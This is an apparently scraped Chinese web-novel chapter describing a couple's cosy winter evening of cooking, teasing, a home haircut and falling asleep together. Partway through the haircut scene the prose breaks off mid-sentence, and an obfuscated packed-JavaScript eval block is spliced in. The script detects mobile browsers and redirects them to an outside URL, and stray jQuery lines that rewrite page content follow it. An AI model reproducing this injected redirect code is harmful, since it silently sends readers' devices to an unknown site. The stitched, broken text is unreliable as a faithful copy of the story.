南方湿冷的冬夜，雨下得并不大，却像是有人在空气里泼了一层胶水，把寒意粘在了每一寸裸露的皮肤上。


    我收了伞，跺了跺脚上的泥水，在感应门打开的瞬间，像是从深海潜回了陆地。电梯上行，数字从“1”跳动到“6”，随着“叮”的一声轻响，那种熟悉的、属于“家”的气味顺着门缝钻进了鼻腔。


    那是炖萝卜特有的甜香，混杂着洗衣液的柠檬味，还有一点点陈年木头柜子的味道。这味道并不高级，甚至带着点老旧小区的烟火气，但对我来说，这是世界上最安全的空气。


    掏钥匙，开门。


    锁舌弹开的声音清脆悦耳。


    “回来了？”


    声音是从厨房飘出来的，伴随着锅铲碰撞铁锅的脆响。


    “嗯。”我换了鞋，把那件带着寒气的大衣挂在门口的衣架上，感觉整个人像是被从冰柜里拿出来，扔进了温水里。骨头缝里的僵硬感一点点化开，变成了一种懒洋洋的松弛。


    他从厨房探出半个身子，腰上系着那条印着卡通猫的围裙——那是上次去超市买酸奶送的，系在他一米八几的个子上显得有些滑稽，但他穿得很坦然。手里拿着半根黄瓜，嘴里还嚼着另外半根。


    “正好，洗手吃饭。”他含糊不清地说，嘴角沾着一点酱汁，“今天的萝卜绝了，一筷子下去能夹断。”


    屋里的暖气开得很足。电视机开着，放着一档吵吵闹闹的综艺节目，并没有人在看，只是为了让屋子里有点动静。沙发上堆着我想收却还没来得及叠的衣服，茶几上放着两个没洗的马克杯和半袋吃剩的薯片。


    乱，但是乱得很有章法，乱得让人安心。


    我不急着去洗手，而是走到厨房门口，从背后抱住了他。


    他身上很热，那是炉火烘烤出来的温度，混杂着油烟味和须后水的清香。我把脸埋在他的背上，冰凉的鼻尖贴着他温热的脊柱。


    “哎哟，凉！”他夸张地叫了一声，缩了缩脖子，却没躲开，反而向后靠了靠，把重量压在我身上，“你是冰块做的啊？”


    “外面冷死了。”我闷声说，手不老实地从他围裙边上伸进去，贴在他暖烘烘的肚子上取暖，“借点火。”


    “行行行，借你借你。”他笑着，伸手关了火，转过身来，用那只没拿铲子的手捏了捏我的耳垂，“怎么这么凉？今天没戴围巾？”


    “忘公司了。”


    “你脑子也忘公司了吧。”他虽然嘴上损我，手却在我脸上搓了两下，试图把那点寒气搓掉，“赶紧去拿碗，饿死我了。”


    晚饭是萝卜炖牛腩，还有一盘清炒油麦菜。


    那张折叠餐桌是我们刚搬进来时在二手市场淘的，边角有些磨损，但被他擦得锃亮。头顶的吊灯发出暖黄色的光，照在红亮的汤汁上，升腾起白色的热气。


    这种热气，是有实感的。它不是那种虚无缥缈的浪漫，而是能填饱肚子的踏实。


    我夹了一块萝卜，入口即化，吸满了肉汁。


    “怎么样？”他盯着我，眼神里带着点求表扬的期待，“我可是炖了两个小时，高压锅都没用，纯靠砂锅慢炖。”


    “神了。”我竖起大拇指，“可以去楼下摆摊了，李记牛腩，月入过万。”


    “去你的，月入过万哪够养你。”他给自己盛了一碗汤，“你那购物车里一堆摄影器材，我要是去摆摊，得卖到下辈子。”


    我们一边吃一边聊。聊的大多是些没营养的废话。


    他说隔壁老王家的狗今天又在楼道里撒尿了，被保洁阿姨追着骂；我说公司新来的实习生连复印机都不会用，把纸卡得满地都是。


    我们大笑。笑声在狭小的客厅里回荡，撞在墙壁上，又弹回来，把这个四十平米的空间填得满满当当。


    在这顿饭的时间里，外面的世界是不存在的。没有KPI，没有房价，没有复杂的社会关系。只有这碗热汤，只有眼前这个会因为萝卜炖得软烂而眉飞色舞的男人。


    吃完饭，猜拳洗碗。


    他输了。


    看着他骂骂咧咧地戴上橡胶手套去刷碗，我惬意地瘫在沙发上，打开手机刷了会儿短视频。厨房里传来水流声和碗筷碰撞的脆响，那是生活最原本的底噪。


    “托尼老师，该上班了。”


    洗完碗，他擦着手走出来，踢了踢我的小腿肚，“头发长得扎脖子了。”


    这是我们要完成的固定节目。


    为了省钱，也或许是为了某种只有我们才懂的情趣，这两年他的头发都是我剪的。


    我从柜子里翻出那个装着理发工具的铁皮盒子。那把推剪虽然旧了点，但刀头刚上了油，锋利得很。


    卫生间很小，但很亮堂。镜子前两天刚被我擦过，透亮得连毛孔都照得清楚。


    他在小板凳上坐下，我在他脖子上围了一圈旧报纸。


    “这次想要什么价位的？”我拿着梳子，煞有介事地在他头上比划，“38的还是188的？”


    “给大爷来个888的。”他闭上眼，嘴角带着笑，“要有层次感，还得显脸小。”


    “您这脸够小了，再小就没了。”


    推剪嗡嗡地响起来。


    我的手很稳。指尖穿过他硬茬茬的发丝，触碰到温热的头皮。他的头发很黑，很硬，生命力极其旺盛。剪下来的碎发落在报纸上，沙沙作响。


    这个过程不需要太多的语言。


    我们之间有一种长久以来形成的默契。有时候我拍拍他的头，他就知道要低头；我按一下他的耳后，他就知道要侧过脸去。


    这种默契，不是一朝一夕能练出来的。它藏在每一次眼神交汇里，藏在每一个下意识的动作里。它让我觉得，我们不仅仅是恋人，更是战友，是共生体。


    “这儿，稍微短点。”他指了指鬓角。


    “知道，你有强迫症。”我小心地修剪着那里的线条，推剪贴着皮肤滑过，留下一道青色的痕迹，“好了，看看。”


    他睁开眼，对着镜子左右照了照，摸了摸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088271|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刚剪好的寸头，露出一脸满意的表情。


    “手艺见长啊。”他站起来，抖掉身上的碎发，“看来以后失业了真能去开理发店。”


    “那是，也不看是谁调教出来的。”


    收拾完地上的狼藉，我们挤在狭小的洗手台前刷牙。


    镜子里并排映出两张脸。嘴里塞着牙刷，满嘴泡沫，看起来有些滑稽，却又异常和谐。


    我不小心撞了他的手肘一下，牙膏沫飞到了镜子上。


    “哎呀！”他瞪了我一眼，却没生气，只是用沾着水的湿手在我脸上抹了一把，“赔钱。”


    “没钱，肉偿行不行？”我含糊不清地说。


    “想得美，排队去。”


    打打闹闹地洗漱完，钻进被窝的时候，那种巨大的、充盈的幸福感简直要从胸口溢出来。


    床单是前两天刚晒过的，带着好闻的阳光味道。被子厚实柔软，像一朵巨大的云彩。


    我们关了灯。窗外的路灯光透过窗帘的缝隙漏进来一两条，在地板上投下斑驳的影子。


    他习惯性地伸出手臂，把我捞进怀里。


    他的怀抱很宽，很暖。我把头枕在他的颈窝，听着他沉稳有力的心跳声。


    扑通，扑通。


    那是世界上最催眠的节奏。


    “明天周六。”他在黑暗中开口，声音低沉慵懒，“想去干嘛？”


    “哪也不想去。”我打了个哈欠，手指在他睡衣的扣子上无意识地绕着圈，“想睡到自然醒，然后吃你做的煎饼。”


    “就知道吃。”他轻笑了一声，胸腔微微震动，“行，那明早再去买点葱花。”


    “还要加火腿肠。”


    “加加加，给你加两根。”


    他侧过身，嘴唇在我额头上碰了一下。那是一个很轻、很自然的晚安吻，没有太多的情欲，只有满满的宠溺和安抚。


    “睡吧。”他说，“做个好梦。”


    “嗯。”


    我闭上眼睛，意识开始涣散。


    在这个瞬间，我无比确信一件事：生活是坚固的。


    这种坚固不是来自什么海誓山盟，而是来自今晚这顿炖得软烂的萝卜牛腩，来自那把刚刚上了油的推剪，来自这个有着阳光味道的被窝，来自此时此刻，他环在我腰上那只有力的手臂。


    我想，我们把日子过成了混凝土。我们在无数个这样的夜晚里，用一粥一饭、一言一语，浇筑了一座堡垒。


    在这座堡垒里，我们是安全的，是富足的，是无坚不摧的。


    至于外面那些风雨？


    管他呢。窗户关得严严实实，连一丝风声都透不进来。


    我往他怀里又钻了钻，找了个最舒服的姿势。他的呼吸均匀地洒在我的头顶，像是一首无声的摇篮曲。


    在那片温暖的黑暗里，我甚至没有做梦。因为现实本身，已经比所有的梦都要美好和踏实。


    这就是生活原本该有的样子。


    平凡，热烈，且长久。